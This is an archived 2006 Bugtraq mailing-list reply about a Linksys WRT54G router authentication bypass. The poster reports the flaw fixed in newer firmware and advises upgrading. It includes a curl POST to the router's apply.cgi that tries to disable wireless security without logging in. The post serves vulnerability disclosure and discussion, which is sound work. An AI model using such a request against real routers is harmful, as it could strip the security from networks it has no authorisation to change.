Bugtraq mailing list archives
Re: linksys WRT54g authentication bypass
From: "guant a" <guant () hackermail com>
Date: Tue, 08 Aug 2006 14:01:24 +0800
I'm having some trouble believing this hasn't been reported before. If you have a linksys router handy, please check to see whether it is vulnerable to this attack. It's possible that all of the linksys router web UIs have the same bug. Hopefully the problem is isolated to one particular model or firmware revision.
This is fixed in at least v4.00.7 and above. Your original command doesn't work, the file doesn't even exist. But redoing it as such: curl -d "submit_button=WL_WPATable" -d "change_action=gozila_cgi" -d \ "submit_type=" -d "action=" -d "security_mode_last=" -d "wl_wep_last=" -d \ "security_mode=disabled" http://192.168.1.1/apply.cgi Results in "Authentication Required". (The strings were grabbed from ethereal, as I disabled the security, which would explain the multitude of empty options, but whatever.) This is an old bug that was fixed, which should explain the lack of vendor dialog. Upgrade, upgrade, upgrade. :) guant -- _______________________________________________ Get your free email from http://www.hackermail.com
Current thread:
- linksys WRT54g authentication bypass Ginsu Rabbit (Aug 07)
- RE: linksys WRT54g authentication bypass Andy Meyers (Aug 07)
- RE: linksys WRT54g authentication bypass Miguel Valentin (Aug 11)
- RE: linksys WRT54g authentication bypass Ginsu Rabbit (Aug 11)
- RE: linksys WRT54g authentication bypass Miguel Valentin (Aug 11)
- Re: linksys WRT54g authentication bypass Nicholas Knight (Aug 11)
- Re: linksys WRT54g authentication bypass Rodrigo Barbosa (Aug 11)
- Re: linksys WRT54g authentication bypass Ginsu Rabbit (Aug 11)
- <Possible follow-ups>
- Re: linksys WRT54g authentication bypass guant a (Aug 11)
- Re: linksys WRT54g authentication bypass Ginsu Rabbit (Aug 11)
- RE: linksys WRT54g authentication bypass TeamXMM Consulting, Inc. (Aug 14)
- Re: RE: linksys WRT54g authentication bypass gooorguss (Aug 14)
- RE: linksys WRT54g authentication bypass Andy Meyers (Aug 07)